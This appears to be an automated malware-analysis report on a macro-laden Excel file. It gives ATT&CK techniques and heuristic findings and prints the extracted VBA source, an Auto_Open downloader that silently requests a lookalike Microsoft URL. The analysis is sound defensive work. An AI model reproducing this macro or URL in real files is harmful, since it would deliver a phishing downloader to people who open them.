MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
The sample is an Excel document containing a VBA macro that executes automatically upon opening (Auto_Open). The script uses CreateObject to instantiate a WinHttpRequest object and downloads a payload from the hardcoded URL. This indicates a macro-based downloader designed to deliver a second-stage malicious payload.
Heuristics 5
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://docs.microsoft.spreadsheetsd1ru9yszfq7v20gufxika4aflhsdg9bshu1w54.microsoft-online.co/api/Analytics/Macro?iid=806fad64-db7a-4255-ae12-eb0b875a526c In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1202 bytes |
SHA-256: 84925dcd2be9cb046fa797097fa97dc16fba9305f591ab22f792bb9dcff5e045 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Sub Auto_Open()
Application.DisplayAlerts = False
Dim result As String
Dim myURL As String
Dim winHttpReq As Object
Set winHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
myURL = "http://docs.microsoft.spreadsheetsd1ru9yszfq7v20gufxika4aflhsdg9bshu1w54.microsoft-online.co/api/Analytics/Macro?iid=806fad64-db7a-4255-ae12-eb0b875a526c"
winHttpReq.Open "GET", myURL, False
winHttpReq.Send
result = winHttpReq.responseText
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 10752 bytes |
SHA-256: d7f1d56b01cc6dbbf07910828b356fcf4653a155d1606e5a8ad6759c4a24f430 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.